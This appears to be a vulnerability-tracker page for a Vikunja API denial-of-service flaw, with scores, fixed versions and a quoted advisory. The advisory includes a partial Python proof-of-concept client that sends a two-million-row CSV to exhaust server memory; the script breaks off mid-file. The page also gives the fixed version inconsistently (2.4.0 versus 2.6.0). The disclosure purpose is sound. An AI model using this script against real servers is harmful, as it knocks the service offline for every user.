CVE-2026-91969 · GHSA-pqf9-h8g4-8gmh
Vikunja: Unbounded CSV row cardinality permits API process termination
- Risk score
- 53/100
- CVSS
- 7.1 v4.0
- Exploit chance (30 days)
- 0.3%
- Published
- 9 Oct 2026
Open in the live forecast Today's forecast
What to know
- What it is
- The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. Type: Resource…
- Affected
- code.vikunja.io/api (go) = 2.5.0
- Fix
- Upgrade code.vikunja.io/api to 2.6.0 or later.
- Exploitation
- No known exploitation
Story map
At a glance
code.vikunja.io/api: Amber, patch this week. registerAPIRoutesV2 never applies the unconditional pre-auth rate-limit floor (unauthRateLimit()) to the v2 public routes — it passes that limiter only to /api/v2/ws — and otherwise relies on setupRateLimit, which registers nothing when ratelimit.enabled is false (the default). So on a stock install every v2 pre-auth …
The flaws
- CVE-2026-91969: Vikunja: Unbounded CSV row cardinality permits API process termination (CVSS 7.1 · EPSS 0%)
- CVE-2026-91972: Vikunja: Every /api/v2 pre-auth endpoint is unthrottled on a stock install while its /api/v1 twin is rate limited (CVSS 8.7 · EPSS 1%)
- CVE-2026-68581: Vikunja: Link-share principal ID collision allows cross-account API token issuance and management (CVSS 8.1 · EPSS 0%)
- CVE-2026-62376: Vikunja: Plaintext storage of password-reset/email-confirm tokens in database enables account takeover on DB read access (CVSS 8.1 · EPSS 0%)
The fix
Upgrade code.vikunja.io/api: 2.4.0 or later on your release line
Who is exposed: code.vikunja.io/api (go) <= 2.5.0
Where it stands
- Public proof of concept
Connects to
- Same weakness: Denial of service (CWE-400). 257 other warnings in 30 days
Why it is Yellow
- CVSS 7.1 high
- On your watchlist: Go
Affected packages
| Package | Ecosystem | Vulnerable | Fixed in |
|---|---|---|---|
| code.vikunja.io/api | go | = 2.5.0 | 2.6.0 |
References
- https://github.com/advisories/GHSA-pqf9-h8g4-8gmh
- https://github.com/go-vikunja/vikunja/security/advisories/GHSA-pqf9-h8g4-8gmh
- https://nvd.nist.gov/vuln/detail/CVE-2026-91969
- https://github.com/go-vikunja/vikunja/pull/3688
- https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0
- https://www.vulncheck.com/advisories/vikunja-before-2.6.0-resource-exhaustion-via-csv-migration
- https://github.com/advisories/GHSA-pqf9-h8g4-8gmh
Original description
# Unbounded CSV row cardinality permits API process termination ## Summary The authenticated v2 CSV migration route caps upload bytes but not parsed row cardinality. It reads every record into a [][]string and then materializes a full task object for every row before insertion. Two million one-cell rows fit in a roughly 4 MB multipart request yet exhaust a 512 MiB API process. ## Impact and affected scope - **Type:** Resource Exhaustion Csv Import - **Affected component:** POST /api/v2/migration/csv/migrate - **Preconditions:** An ordinary authenticated user supplies a multipart CSV containing a very large number of tiny records plus a valid mapping configuration. - **Verified revision:** `349cd5adbcc831ef08b08e6c9c6d627603c39606` on 28 August 2026 - **Affected release range:** `= 2.5.0`; broader historical range not established and maintainer confirmation requested A low-privileged remote user can terminate the API process and deny service to all users with a request far below the configured upload-byte limit. ## Technical details csv.Reader.ReadAll retains every row, after which convertToVikunja allocates a task structure for each row; the existing upload-byte cap does not constrain this cardinality amplification. Attack path: Authenticate, upload two million one-cell records to the synchronous CSV migrate route with a valid ignore mapping, and exhaust process memory while parsing and materializing rows. Relevant code: - `pkg/routes/api/v2/migration_csv.go:96` - `pkg/routes/api/v2/migration_csv.go:164` - `pkg/modules/migration/csv/csv.go:281` - `pkg/modules/migration/csv/csv.go:298` - `pkg/modules/migration/csv/csv.go:590` - `pkg/modules/migration/csv/csv.go:605` - `pkg/modules/migration/csv/csv.go:627` - `pkg/modules/migration/csv/csv.go:643` - `pkg/modules/migration/csv/csv.go:655` ## Reproduction Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control. Create `reproduction/Dockerfile`: ```text FROM golang:1.27.0-alpine RUN apk add --no-cache bash build-base ca-certificates python3 tzdata WORKDIR /app COPY . /app RUN chmod +x /app/*.sh 2>/dev/null || true # Target source is supplied only at runtime through /target-repo:ro. # This image contains build dependencies and reproduction helpers, not a clone. ``` Create `reproduction/client.py`: ```python #!/usr/bin/env python3 import json import sys import time import urllib.error import urllib.request import uuid BASE = "http://target:3456" def json_request(method, path, body=None, token=None, expected=None): raw = None if body is None else json.dumps(body).encode() headers = {"Accept": "application/json"} if body is not None: headers["Content-Type"] = "application/json" if token: headers["Authorization"] = "Bearer " + token req = urllib.request.Request(BASE + path, data=raw, headers=headers, method=method) try: with urllib.request.urlopen(req, timeout=30) as response: status, data = response.status, response.read() except urllib.error.HTTPError as exc: status, data = exc.code, exc.read() print(f"{method} {path} -> {status} {data[:250].decode(errors='replace')}", flush=True) if expected is not None and status != expected: raise RuntimeError(f"{method} {path}: got {status}, expected {expected}") return status, json.loads(data.decode()) if data else {} def wait_ready(): for _ in range(240): try: if json_request("GET", "/api/v1/info")[0] == 200: return except Exception: pass time.sleep(0.25) raise RuntimeError("target did not become ready") def register_and_login(username): password = "PoC-password-123!" json_request("POST", "/api/v2/register", { "username": username, "email": username + "@example.invalid", "password": password, }, expected=201) _, login = json_request("POST", "/api/v2/login", {"username": username, "password": password}, expected=200) return login["token"] def migrate(token, csv_data, config, expect_response): boundary = "----PoC-" + uuid.uuid4().hex body = ( f"--{boundary}\r\nContent-Disposition: form-data; name=\"config\"\r\n\r\n{config}\r\n".encode() + f"--{boundary}\r\nContent-Disposition: form-data; name=\"import\"; filename=\"fixture.csv\"\r\nContent-Type: text/csv\r\n\r\n".encode() + csv_data + f"\r\n--{boundary}--\r\n".encode() ) print(f"PoC_CSV_REQUEST rows={csv_data.count(bytes([10]))} request_bytes={len(body)}", flush=True) req = urllib.request.Request( BASE + "/api/v2/migration/csv/migrate", data=body, headers={"Authorization": "Bearer " + token, "Content-Type": "multipart/form-data; boundary=" + boundary}, method="POST", ) try: with urllib.request.urlopen(req, timeout=90) as response: status, data = response.status, response.read() print(f"POST migrate -> {status} {data[:200]!r}", flush=True) if expect_response and status != 200: raise RuntimeError(f"control returned {status}, expected 200") if not expect_response: raise RuntimeError(f"attack unexpectedly returned HTTP {status}") except urllib.error.HTTPError as exc: data = exc.read() print(f"POST migrate -> HTTP {exc.code} {data[:200]!r}", flush=True) if expect_response: raise raise RuntimeError(f"attack was rejected with HTTP {exc.code}; process did not terminate") except (TimeoutError, ConnectionError, urllib.error.URLError, OSError) as exc: if expect_response: raise print(f"PoC_CSV_ATTACK_DISCONNECTED error={type(exc).__name__}", flush=True) def main():
Last activity 9 Oct 2026. Patch Forecast updates every hour.